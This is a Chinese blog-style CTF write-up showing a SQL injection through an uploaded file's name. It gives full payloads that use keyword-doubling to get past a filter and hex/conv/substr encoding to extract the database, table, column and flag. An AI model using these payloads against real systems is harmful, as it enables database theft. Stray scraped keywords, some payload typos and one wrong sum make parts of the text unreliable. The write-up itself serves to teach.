存在於文件名中的SQL手工注入

SQL注入已經在前一章爲你們介紹了個大概,本文將講述我遇到的本覺得是文件上傳漏洞,倒是以文件名觸發的SQL注入!web

本文分享的內容一樣來自於一道CTF題!sql

1. 直接進入正題shell

      (1) 初步探測數據庫

       先看一下主頁面(題目須要註冊登陸,這裏直接跳過了)瀏覽器

       

        就這個頁面,我不知道你看到的時候會怎麼認爲,個人第一想法就是他必定是一個文件上傳漏洞拿flag。因而我開始了我得上傳之旅,一開始仍是有一些欣喜,以爲超簡單的一道題:文件上傳拿shell就完事了。因而經過burp抓包,修改請求頭,成功的將小立刻傳到了服務器(這裏很少解釋,文件上傳之後再和你們分享)。卻發現根本沒法得到文件所在路徑,也就是隻能上傳,卻沒法利用。安全

        小結:當思考網站是否爲文件上傳漏洞時,不只僅要考慮是否能上傳木馬文件,還要考慮文件被上傳到服務器之後,文件所在的位置,也就是可否被利用。(本題大牛應該直接就能發現不是文件上傳,由於根本沒法得到上傳文件所在路徑)服務器

   (2)嘗試進行SQL注入測試

        沒辦法只能繼續尋找漏洞所在,再來看一下上傳了幾個文件以後的網站:網站

 

         在頁面(上圖)中能夠清楚地看到已經上傳的文件(名)。這說明文件被上傳到了數據庫中,同時瀏覽器從數據庫中讀取了上傳的文件,那麼這個過程就有可能觸發SQL注入。因而在文件名中先嚐試輸入select database() 命令(我認爲如今不必直接去探測數據庫邏輯,構造可執行的SQL語句,不過你也能夠直接構造能在服務器可SQL語句格式)並上傳。編碼

 

         你會發現當文件名爲select database().jpg的時候,輸出的文件名爲database().jpg。而當輸入文件名爲aaa database().jpg時,輸出的文件名也爲aaa database().jpg。那麼就可判斷,服務器將select過濾了,而後在嘗試其餘命令,發現from也被過濾掉了。(select database()是暴數據庫名的一種方式)

   (3)嘗試繞過

        既然服務器將select命令過濾掉了,那說名必定有貓膩,那麼就嘗試繞過。

        首先嚐試解決select和from被過濾的問題,我嘗試了編碼方式,發現服務器返回信息沒有解碼,這說明編碼後在數據庫中不能將其轉變成命令執行,所以不可行。而後嘗雙寫(也是一種常見的繞過方式)。驚喜的發現selselectect能夠成功繞過。一樣frfromom也能成功繞過。

        由以上得出結論服務器可能存在SQL注入。(由於在文件名中過濾掉了select 和from兩個經常使用SQL命令,併成功繞過了過濾)

 2. 肯定文件名觸發SQL注入

解決了過濾,我盟來構造一下可以被數據庫執行的SQL語句,

(1) 猜想服務器經過命令:insert into  表名('filename',...)  values('你上傳的文件名',...);來將數據存儲到數據庫。

(2) 構造語句:'+(selselectect database())+' 。

(3) 拼接後的sql語句爲:insert into  表名('filename',...) values('文件名'+(selselectect cdatabase())+'.jpg',...);

所以嘗試   1'+(selselectect database())+'.jpg 。服務器返回0,說明SQL語句被執行了,但沒法輸出執行結果。

 

3. 開始操做

       首先考慮是返回數據時數據被過濾掉了,嘗試改成輸出十六進制,'+(selselectect hex(database()))+'.jpg 。服務器返回" 7765625 "。

        7765625解碼爲" web "。(貌似成功注入)這裏我當時也是信誓旦旦的覺得完成了,能夠進一步猜表猜字段了。

        可是要注意的是本題還設置了一種截斷,即:插入數據庫文件名中若是包括SQL語句,那麼在返回信息時,服務器將對字母進行截斷(某些特殊字符也會截斷或過濾)。這是一個很大的坑,可是若是你經驗豐富可能很容易發現這個截斷,判斷依據以下:

         由於當你構造的文件名爲  '+(selselectect hex(database()))+'.jpg 。服務器返回" 7765625 "。而輸入 111'+(selselectect hex(database()))+'.jpg 時,返回的信息爲765736 (=7765625+111)。

         但輸入 a111'+(selselectect hex(database()))+'.jpg 時,仍返回7765625。

        所以便可以說明命令:1'+(selselectect hex(database()))+'.jpg的返回值爲何爲0(由於返回數據是字符,不是數值,所以只能返回0)。也能夠判斷服務器進行了字符(英文字母等)截斷。 

        解決辦法是:嘗試其餘進製表示。二進制表示失敗(多是服務器設置問題,我也沒咋弄清楚爲啥二進制返回0)。因而使用conv命令,將16進制轉換爲10進制:CONV(N,from_base,to_base)   N是要轉換的數據,from_base是原進制,to_base是目標進制。

      (1) 構造命令:'+(selselectect conv(hex(database()),16,10))+'.jpg 。返回一個帶小數點的數值。

         這是由於返回值太大,系統使用科學計數法(xx e xxxxx)表示,所以使用substr作長度限制。substr(str,pos,len)  str字符串,從pos開始的位置,截取len個字符(空白也算字符)。

       (2) 構造命令:'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg ,(通過不斷測試發現長度最大爲12,長度大於12返回值就會以科學計數法表示)返回10進制數:131277325825392 轉化爲16進製爲7765625f7570,轉換成字符:web_up(Unicode編碼:12個字節至關於6個字符)

            構造命令'+(selselectect conv(substr(hex(database()),13,25),16,10))+ '.jpg ,返回10進制數:1819238756 轉化爲16進製爲6c6f6164,轉換成字符:load

            獲得數據庫名:web_upload

         (3) 獲得數據庫名,那麼就能夠猜表名了。

            構造命令: '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

             '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg

            經過改變substr的參數,最後將獲得的字符鏈接獲得表名:hello_flag_is_here

         (4) 獲得表名,那麼猜字段。

            構造命令: '+(seleselectect+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg

            經過改變substr的參數,最後將獲得的字符鏈接獲得字段:i_am_flag

          (5) CTF的宗旨,能夠拿flag了。

            構造命令: '+(selselectect+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

            經過改變substr的參數,最後將獲得的字符鏈接獲得flag。 拿到flag,注入完成。

      具體暴庫過程,可參考上一篇文章

4. 總結

知識點:

         文件上傳,不只要注意是否能上傳,還要考慮文件位置。文件是否可以被利用。

         與數據庫交互並回顯,有可能觸發SQL注入。

          SQL語句重寫繞過。

          SQL語句的巧妙構造。

         編碼轉換的巧妙運用。

本文供安全人員參考。以上是小白給你們的經驗分享,望大佬們多多指教 Thank You !

相關文章
相關標籤/搜索